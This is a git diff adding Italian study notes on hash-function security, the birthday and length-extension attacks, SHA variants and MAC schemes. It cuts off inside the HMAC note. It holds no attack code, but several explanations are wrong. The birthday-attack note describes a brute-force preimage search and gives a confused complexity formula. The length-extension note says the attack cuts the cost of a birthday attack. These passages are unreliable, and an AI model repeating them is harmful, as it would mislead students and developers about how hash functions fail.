+Non dà problemi in caso di [[hashing con più input]].
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA384.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA384.md
new file mode 100644
index 0000000..974c559
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA384.md	
@@ -0,0 +1 @@
+Variante di [[SHA2]] che genera hash di [[384-bit]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA512.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA512.md
new file mode 100644
index 0000000..01210d6
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA512.md	
@@ -0,0 +1 @@
+Variante di [[SHA2]] che genera hash di [[512-bit]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHAttered.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHAttered.md
new file mode 100644
index 0000000..0630ef0
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHAttered.md	
@@ -0,0 +1 @@
+[[attacco]] di [[collision experiment]] per [[SHA1]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/attacco del compleanno.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/attacco del compleanno.md
new file mode 100644
index 0000000..65d87a4
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/attacco del compleanno.md	
@@ -0,0 +1,21 @@
+[[attacco]] effettuabile contro [[funzione di hashing crittografico|funzioni di hash crittografico]] equivalente al [[bruteforce]], ma con l'obiettivo di superare il [[collision experiment]] invece che il [[first pre-image collision experiment]].
+
+## Requisiti
+
+- conoscenza della [[funzione di hashing crittografico]] utilizzata
+
+## Funzionamento
+
+L'avversario sceglie un [[hash]] a piacimento, poi prova tutti i [[plaintext]] possibili fino a quando non ne trova uno che [[hash|lo]] genera.
+
+### Livello di sicurezza
+
+Il [[livello di sicurezza]] rispetto ad attacchi del compleanno è un'esponenziale del numero di possibili hash.
+
+$$\Large O \left( x^{\frac{\color{Orange} N}{2}} \right)$$
+
+Dopo $\sqrt{N}$ tentativi, la probabilità di aver trovato una collisione è del 50%.
+
+## Conseguenze
+
+Un attacco del compleanno riuscito dimostra l'assenza di [[collision experiment|collision resistance]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/collision experiment.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/collision experiment.md
new file mode 100644
index 0000000..bc72026
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/collision experiment.md	
@@ -0,0 +1,11 @@
+[[esperimento]] di [[verifica crittografica dell'integrità]] che verifica l'impossibilità di [[collision]].
+
+## Sfida
+
+1. L'[[avversario]] sceglie due [[plaintext]] arbitrari.
+2. Vi applica la [[funzione di hashing crittografico]].
+
+### Condizioni di vittoria
+
+- ❌ Se i due [[plaintext]] selezionati generano lo stesso [[hash]].
+- ✅ Se l'[[avversario]] [[garanzia computazionale|non è in grado]] di determinare due [[plaintext]] tali.
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/collision.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/collision.md
new file mode 100644
index 0000000..91f65e0
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/collision.md	
@@ -0,0 +1,3 @@
+[[violazione]] che permette all'avversario di trovare due [[testo|testi]] che producono lo stesso [[hash]].
+
+È implicato da violazioni di [[second pre-image collision]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/first pre-image collision experiment.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/first pre-image collision experiment.md
new file mode 100644
index 0000000..e739bfc
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/first pre-image collision experiment.md	
@@ -0,0 +1,12 @@
+[[esperimento]] che [[verifica crittografica dell'integrità|verifica l'integrità crittografica]] di un dato.
+
+## Sfida
+
+1. Uno [[sfidante]] sceglie un [[plaintext]] arbitrario.
+2. Vi applica la [[funzione di hashing crittografico]].
+3. Comunica l'[[hash]] all'avversario.
+
+### Condizione di vittoria
+
+- ❌ Se l'[[avversario]] trova il [[plaintext]] scelto dallo [[sfidante]].
+- ✅ Se l'[[avversario]] [[garanzia computazionale|non è in grado]] di determinare un [[plaintext]] tale.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/first pre-image collision.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/first pre-image collision.md
new file mode 100644
index 0000000..85e711f
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/first pre-image collision.md	
@@ -0,0 +1,3 @@
+[[violazione]] che permette all'avversario di invertire la [[funzione di hashing]], trovando il [[plaintext]] con cui è stato prodotto un [[hash]].
+
+Implica [[second pre-image collision]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/funzione di hashing crittografico.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/funzione di hashing crittografico.md
new file mode 100644
index 0000000..4510951
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/funzione di hashing crittografico.md	
@@ -0,0 +1,6 @@
+[[funzione ideale]] per problemi di [[verifica crittografica dell'integrità]] contro attaccanti razionali.
+
+È una [[funzione di hashing]] con le seguenti caratteristiche:
+
+- gli output non forniscono alcuna informazione sul testo di input
+- è molto improbabile che due input diversi producano lo stesso output
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/hashing con più input.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/hashing con più input.md
new file mode 100644
index 0000000..1cc8eef
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/hashing con più input.md	
@@ -0,0 +1,27 @@
+[[8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/debolezza]] di una [[funzione di hashing crittografico]] che si presenta quando l'input della funzione è formato concatenando direttamente due dati.
+
+```python
+hash("builtin" + "security") == hash("built" + "insecurity")
+```
+
+## Causa
+
+Certe funzioni di hashing, come quelle basate sul design di [[Merkle-Damgard]], cifrano il [[plaintext]] dividendolo in blocchi di dimensione fissa processati consecutivamente.
+
+Se si conosce l'hash fino a un certo blocco, determinare l'hash per una quantità limitata di blocchi successivi è molto più facile.
+
+## Prevenzione
+
+- Utilizzare un separatore che non appare nel testo:
+	```python
+	hash("builtin" + "," + "security")
+	```
+
+- Utilizzare un indicatore della lunghezza del primo dato:
+	```python
+	hash(len("builtin") + "builtin" + "security")
+	```
+
+## Vedi anche
+
+> #Extra [AWS signature version 1 is insecure](http://www.daemonology.net/blog/2008-12-18-AWS-signature-version-1-is-insecure.html)
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/length extension attack.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/length extension attack.md
new file mode 100644
index 0000000..1b914b1
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/length extension attack.md	
@@ -0,0 +1,10 @@
+[[attacco]] effettuabile contro [[funzione di hashing crittografico|funzioni di hashing crittografico]] vulnerabili all'[[hashing con più input]].
+
+## Requisiti
+
+- conoscenza della [[funzione di hashing crittografico]] utilizzata
+- [[8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/vulnerabilità]] di [[hashing con più input]]
+
+## Effetti
+
+Un length extension attack riduce significativamente il [[costo]] richiesto per effettuare un [[attacco del compleanno]] su uno specifico hash.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/second pre-image collision experiment.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/second pre-image collision experiment.md
new file mode 100644
index 0000000..2183086
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/second pre-image collision experiment.md	
@@ -0,0 +1,12 @@
+[[esperimento]] di [[verifica crittografica dell'integrità]] che verifica l'impossibilità di [[second pre-image collision]].
+
+## Sfida
+
+1. Uno [[sfidante]] sceglie un [[plaintext]] arbitrario.
+2. Vi applica la [[funzione di hashing crittografico]].
+3. Comunica l'[[hash]] all'avversario.
+
+### Condizioni di vittoria
+
+- ❌ Se l'[[avversario]] trova un [[plaintext]] che genera lo stesso [[hash]] di quello generato dallo [[sfidante]].
+- ✅ Se l'[[avversario]] [[garanzia computazionale|non è in grado]] di determinare un [[plaintext]] tale.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/second pre-image collision.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/second pre-image collision.md
new file mode 100644
index 0000000..be848bc
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/second pre-image collision.md	
@@ -0,0 +1,3 @@
+[[violazione]] che permette all'avversario di trovare un altro [[testo]] che produce lo stesso [[hash]] prodotto dal [[plaintext]].
+
+Implica [[collision]], ed è implicato da violazioni di [[first pre-image collision]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/verifica crittografica dell'integrità.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/verifica crittografica dell'integrità.md
new file mode 100644
index 0000000..0274fc2
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/verifica crittografica dell'integrità.md	
@@ -0,0 +1 @@
+[[problema]] in cui si vuole verificare che un dato a cui ha avuto accesso un [[adaptive chosen-ciphertext attacker]] sia rimasto [[integrità|integro]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/★ mappa concettuale.canvas b/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/★ mappa concettuale.canvas
new file mode 100644
index 0000000..95086ba
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/★ mappa concettuale.canvas	
@@ -0,0 +1,66 @@
+{
+	"nodes":[
+		{"type":"group","id":"e01c332b749295dd","x":-2560,"y":-1980,"width":2300,"height":4480,"color":"1","label":"Attacco"},
+		{"id":"86c2a19e57269460","x":-140,"y":780,"width":3560,"height":1080,"color":"6","type":"group","label":"Hashing crittografico"},
+		{"type":"group","id":"0d8e397028cec04e","x":980,"y":-1980,"width":600,"height":2200,"color":"5","label":"Difesa"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/verifica crittografica dell'integrità.md","id":"36591ef904e6bbdf","x":160,"y":-240,"width":400,"height":400,"color":"#ffffff"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/second pre-image collision experiment.md","id":"0d62797bb1aa62a7","x":-120,"y":-1400,"width":960,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/first pre-image collision experiment.md","id":"dcbcaa9801d017e6","x":-120,"y":-840,"width":960,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/collision experiment.md","id":"776b0ec01dd194c0","x":-120,"y":-1960,"width":960,"height":400},
+		{"type":"text","text":"","id":"1cdd7290db5d1fa3","x":-2360,"y":-65,"width":52,"height":50},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/integrità.md","id":"887cc052706443ec","x":1080,"y":-280,"width":400,"height":480},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/length extension attack.md","id":"3a69405b261e1e4c","x":-2440,"y":360,"width":960,"height":920},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/hashing con più input.md","id":"9ac88065aaee30c5","x":-1320,"y":360,"width":960,"height":920},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/attacco del compleanno.md","id":"76040d728cdc327f","x":-2440,"y":1380,"width":960,"height":1040},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/adaptive chosen-ciphertext attacker.md","id":"bf045736c4040457","x":-760,"y":-280,"width":400,"height":480},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/first pre-image collision.md","id":"47b825b6149c49e1","x":-760,"y":-840,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA256.md","id":"e3b084e6c77b89e3","x":2000,"y":1360,"width":400,"height":200,"color":"4"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA3-256.md","id":"961865ed5d0e63cb","x":2000,"y":1640,"width":400,"height":200,"color":"4"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA384.md","id":"7d9f03a41c8240e6","x":2500,"y":1360,"width":400,"height":200},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA3-384.md","id":"e1f1e3812e1275a1","x":2500,"y":1640,"width":400,"height":200},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA512.md","id":"bceab0e0854851ba","x":3000,"y":1360,"width":400,"height":200},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA3-512.md","id":"57e7421ab54a1d69","x":3000,"y":1640,"width":400,"height":200},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/funzione di hashing crittografico.md","id":"82e8d8be9a3d1345","x":-120,"y":860,"width":960,"height":920},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA2.md","id":"42bedc8715b48e8b","x":1000,"y":1360,"width":400,"height":200},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA3.md","id":"3360fdc443370fa5","x":1000,"y":1640,"width":400,"height":200},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA224.md","id":"7114b6ff606d3681","x":1500,"y":1360,"width":400,"height":200},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA3-224.md","id":"769b05448c85eeee","x":1500,"y":1640,"width":400,"height":200},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHAttered.md","id":"61ffd891557f73d5","x":1500,"y":1080,"width":400,"height":200},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/MD5.md","id":"3db0b3debe9306b7","x":1000,"y":800,"width":400,"height":200},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA1.md","id":"07c93ccdcb5647b0","x":1000,"y":1080,"width":400,"height":200},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/second pre-image collision.md","id":"75cc29f5baaac33e","x":-760,"y":-1400,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/collision.md","id":"a96859cebdcf8697","x":-760,"y":-1960,"width":400,"height":400}
+	],
+	"edges":[
+		{"id":"168518de6c84ea47","fromNode":"36591ef904e6bbdf","fromSide":"bottom","toNode":"82e8d8be9a3d1345","toSide":"top","toEnd":"none"},
+		{"id":"d63512727ed56c64","fromNode":"36591ef904e6bbdf","fromSide":"top","toNode":"dcbcaa9801d017e6","toSide":"bottom","toEnd":"none"},
+		{"id":"c58af37412956062","fromNode":"42bedc8715b48e8b","fromSide":"right","toNode":"7114b6ff606d3681","toSide":"left"},
+		{"id":"99dfe75d89711e07","fromNode":"3360fdc443370fa5","fromSide":"right","toNode":"769b05448c85eeee","toSide":"left"},
+		{"id":"c0494273f8907419","fromNode":"7114b6ff606d3681","fromSide":"right","toNode":"e3b084e6c77b89e3","toSide":"left","color":"4"},
+		{"id":"7f12055b72292095","fromNode":"769b05448c85eeee","fromSide":"right","toNode":"961865ed5d0e63cb","toSide":"left","color":"4"},
+		{"id":"7dcd467d34cdd795","fromNode":"e3b084e6c77b89e3","fromSide":"right","toNode":"7d9f03a41c8240e6","toSide":"left"},
+		{"id":"e808d39878f958ef","fromNode":"961865ed5d0e63cb","fromSide":"right","toNode":"e1f1e3812e1275a1","toSide":"left"},
+		{"id":"c288facfed63f0e7","fromNode":"7d9f03a41c8240e6","fromSide":"right","toNode":"bceab0e0854851ba","toSide":"left"},
+		{"id":"48408852403080bc","fromNode":"e1f1e3812e1275a1","fromSide":"right","toNode":"57e7421ab54a1d69","toSide":"left"},
+		{"id":"6c9d13e5b223b10c","fromNode":"82e8d8be9a3d1345","fromSide":"right","toNode":"3db0b3debe9306b7","toSide":"left","toEnd":"none"},
+		{"id":"bbda7360fd0e7099","fromNode":"82e8d8be9a3d1345","fromSide":"right","toNode":"07c93ccdcb5647b0","toSide":"left","toEnd":"none"},
+		{"id":"009864dee2926bcf","fromNode":"82e8d8be9a3d1345","fromSide":"right","toNode":"42bedc8715b48e8b","toSide":"left","toEnd":"none"},
+		{"id":"001c84446f571c7e","fromNode":"82e8d8be9a3d1345","fromSide":"right","toNode":"3360fdc443370fa5","toSide":"left","toEnd":"none"},
+		{"id":"26886150f1b3be6f","fromNode":"07c93ccdcb5647b0","fromSide":"right","toNode":"61ffd891557f73d5","toSide":"left","toEnd":"none"},
+		{"id":"a8ae6531e2edd667","fromNode":"36591ef904e6bbdf","fromSide":"left","toNode":"bf045736c4040457","toSide":"right","toEnd":"none"},
+		{"id":"545cea7a696df7ef","fromNode":"36591ef904e6bbdf","fromSide":"right","toNode":"887cc052706443ec","toSide":"left","toEnd":"none"},
+		{"id":"b41dbdb674bc9967","fromNode":"bf045736c4040457","fromSide":"left","toNode":"1cdd7290db5d1fa3","toSide":"right","toEnd":"none"},
+		{"id":"586341bdc3fb7cf6","fromNode":"1cdd7290db5d1fa3","fromSide":"left","toNode":"76040d728cdc327f","toSide":"left"},
+		{"id":"e6fed9ff16cb2fd6","fromNode":"9ac88065aaee30c5","fromSide":"left","toNode":"3a69405b261e1e4c","toSide":"right","toEnd":"none"},
+		{"id":"83c52827802529c9","fromNode":"1cdd7290db5d1fa3","fromSide":"left","toNode":"3a69405b261e1e4c","toSide":"left"},
+		{"id":"e7bfea004e87af90","fromNode":"82e8d8be9a3d1345","fromSide":"left","toNode":"9ac88065aaee30c5","toSide":"right","toEnd":"none"},
+		{"id":"1057ec86e08b6b88","fromNode":"dcbcaa9801d017e6","fromSide":"left","toNode":"47b825b6149c49e1","toSide":"right"},
+		{"id":"26a22adfca0b7c08","fromNode":"82e8d8be9a3d1345","fromSide":"left","toNode":"76040d728cdc327f","toSide":"right","toEnd":"none"},
+		{"id":"b40a976e719621e3","fromNode":"0d62797bb1aa62a7","fromSide":"left","toNode":"75cc29f5baaac33e","toSide":"right"},
+		{"id":"d3f5a7e35997d612","fromNode":"776b0ec01dd194c0","fromSide":"left","toNode":"a96859cebdcf8697","toSide":"right"},
+		{"id":"e8520e405b19e84d","fromNode":"75cc29f5baaac33e","fromSide":"top","toNode":"a96859cebdcf8697","toSide":"bottom"},
+		{"id":"86360737503e903c","fromNode":"47b825b6149c49e1","fromSide":"top","toNode":"75cc29f5baaac33e","toSide":"bottom"},
+		{"id":"06780164d92cb1ee","fromNode":"0d62797bb1aa62a7","fromSide":"top","toNode":"776b0ec01dd194c0","toSide":"bottom"},
+		{"id":"bd25da089cafde81","fromNode":"dcbcaa9801d017e6","fromSide":"top","toNode":"0d62797bb1aa62a7","toSide":"bottom"}
+	]
+}
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/CBC-MAC.canvas b/8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/CBC-MAC.canvas
new file mode 100644
index 0000000..59bd49f
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/CBC-MAC.canvas	
@@ -0,0 +1,36 @@
+{
+	"nodes":[
+		{"type":"group","id":"19f202eef7d804c9","x":-600,"y":-40,"width":906,"height":420,"label":"Blocco #1"},
+		{"type":"group","id":"7c6da0365fc26acc","x":400,"y":440,"width":906,"height":420,"label":"Blocco #2"},
+		{"type":"group","id":"dd56eb2e2f5c0bf7","x":1400,"y":920,"width":906,"height":420,"label":"Blocco #3"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/plaintext.md","id":"f6a5be7e48515ae7","x":-114,"y":-20,"width":400,"height":50,"color":"3"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/XOR.md","id":"45cd6bfae1448dc1","x":-114,"y":100,"width":400,"height":50,"color":"2"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/initialization vector.md","id":"4614426e5ea8b47c","x":-580,"y":100,"width":400,"height":50,"color":"2"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/chiave simmetrica.md","id":"9877bbe3ff78bae6","x":-580,"y":265,"width":400,"height":50,"color":"6"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/keyed family of pseudo-random permutations.md","id":"ceb56ed3d87a448c","x":-114,"y":220,"width":400,"height":140,"color":"1"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/plaintext.md","id":"d1f7d469f3d0fe49","x":886,"y":460,"width":400,"height":50,"color":"3"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/XOR.md","id":"adbd02247a507bde","x":886,"y":580,"width":400,"height":50,"color":"2"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/chiave simmetrica.md","id":"08b801e8a5c35432","x":420,"y":745,"width":400,"height":50,"color":"6"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/keyed family of pseudo-random permutations.md","id":"fc3b47820b152df4","x":886,"y":700,"width":400,"height":140,"color":"1"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/XOR.md","id":"d87a3a68bda96ae7","x":1886,"y":1060,"width":400,"height":50,"color":"2"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/keyed family of pseudo-random permutations.md","id":"36713dd7821cda9e","x":1886,"y":1180,"width":400,"height":140,"color":"1"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/chiave simmetrica.md","id":"ace1889e1ff489fd","x":1420,"y":1225,"width":400,"height":50,"color":"6"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/plaintext.md","id":"93f19401fe83cd08","x":1886,"y":940,"width":400,"height":50,"color":"3"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/ciphertext.md","id":"4eb6e5a9f3d37b15","x":1886,"y":1400,"width":400,"height":50,"color":"4"}
+	],
+	"edges":[
+		{"id":"67710f4f0376f650","fromNode":"9877bbe3ff78bae6","fromSide":"right","toNode":"ceb56ed3d87a448c","toSide":"left","color":"6"},
+		{"id":"4715627db4b7bb94","fromNode":"f6a5be7e48515ae7","fromSide":"bottom","toNode":"45cd6bfae1448dc1","toSide":"top","color":"3"},
+		{"id":"5e44260d742d9032","fromNode":"4614426e5ea8b47c","fromSide":"right","toNode":"45cd6bfae1448dc1","toSide":"left","color":"2"},
+		{"id":"cd43092938be8a38","fromNode":"45cd6bfae1448dc1","fromSide":"bottom","toNode":"ceb56ed3d87a448c","toSide":"top","color":"2"},
+		{"id":"a57ad92418552333","fromNode":"d1f7d469f3d0fe49","fromSide":"bottom","toNode":"adbd02247a507bde","toSide":"top","color":"3"},
+		{"id":"ac23798265ece9af","fromNode":"adbd02247a507bde","fromSide":"bottom","toNode":"fc3b47820b152df4","toSide":"top","color":"2"},
+		{"id":"a873b11b6432e42f","fromNode":"08b801e8a5c35432","fromSide":"right","toNode":"fc3b47820b152df4","toSide":"left","color":"6"},
+		{"id":"848c1a0633fd208f","fromNode":"93f19401fe83cd08","fromSide":"bottom","toNode":"d87a3a68bda96ae7","toSide":"top","color":"3"},
+		{"id":"7d7d7f0efdecdffe","fromNode":"d87a3a68bda96ae7","fromSide":"bottom","toNode":"36713dd7821cda9e","toSide":"top","color":"2"},
+		{"id":"131d4b46135e5e35","fromNode":"36713dd7821cda9e","fromSide":"bottom","toNode":"4eb6e5a9f3d37b15","toSide":"top","color":"4"},
+		{"id":"240a85a2003a7070","fromNode":"ace1889e1ff489fd","fromSide":"right","toNode":"36713dd7821cda9e","toSide":"left","color":"6"},
+		{"id":"9ecbd48c76088d3c","fromNode":"fc3b47820b152df4","fromSide":"bottom","toNode":"d87a3a68bda96ae7","toSide":"left","color":"2"},
+		{"id":"3ad1659ab9312e3d","fromNode":"ceb56ed3d87a448c","fromSide":"bottom","toNode":"adbd02247a507bde","toSide":"left","color":"2"}
+	]
+}
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/CBC-MAC.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/CBC-MAC.md
new file mode 100644
index 0000000..134db32
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/CBC-MAC.md	
@@ -0,0 +1,11 @@
+[[message authentication code system]] deprecato che funziona in modo simile al [[cipher block chaining operation mode]], con la differenza principale che solo l'ultimo blocco emette output.
+
+1. usa la [[chiave simmetrica]] per determinare la [[keyed family of pseudo-random permutations]] da utilizzare
+2. effettua lo [[XOR]] del plaintext con un [[initialization vector]] intrinseco all'algoritmo
+3. fornisce il valore precedente alla [[keyed family of pseudo-random permutations]] selezionata
+4. utilizza il risultato come initialization vector del blocco successivo, finchè non c'è più testo da autenticare
+5. emette il risultato come [[message authentication code]]
+
+## Diagramma
+
+![[CBC-MAC.canvas]]
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/CMAC.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/CMAC.md
new file mode 100644
index 0000000..f176fa8
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/CMAC.md	
@@ -0,0 +1,5 @@
+[[message authentication code system]] più avanzato di [[CBC-MAC]], rafforzato rispetto alla [[malleabilità]].
+
+## Caso d'uso
+
+Viene usato solitamente nei [[dispositivo embedded|dispositivi embedded]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/GMAC.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/GMAC.md
new file mode 100644
index 0000000..45d0adb
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/GMAC.md	
@@ -0,0 +1,13 @@
+[[message authentication code system]] che utilizza una [[funzione di hashing universale]].
+
+Oltre alla [[chiave simmetrica]], richiede un [[nonce]] ***segreto condiviso***.
+
+## Caso d'uso
+
+### Vantaggi
+
+Estremamente efficiente.
+
+### Svantaggi
+
+Sensibilissimo al [[riutilizzo di nonce]]: basta che venga riutilizzato una volta perchè l'avversario possa effettuare [[any message forgery]].
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/HMAC.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/HMAC.md
new file mode 100644
index 0000000..62f4d6e
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/HMAC.md	
@@ -0,0 +1,33 @@
+---
+aliases: ["keyed hash function"]
+---
+
+[[message authentication code system]] applicando due volte una [[funzione di hashing crittografico]] per generare due chiavi indipendenti.
+
+## Implementazione
+
+L'implementazione è agnostica dalla [[funzione di hashing crittografico]] utilizzata, ma richiede in input la dimensione del [[blocco]] utilizzato.
+
+```python
+from typing import Callable
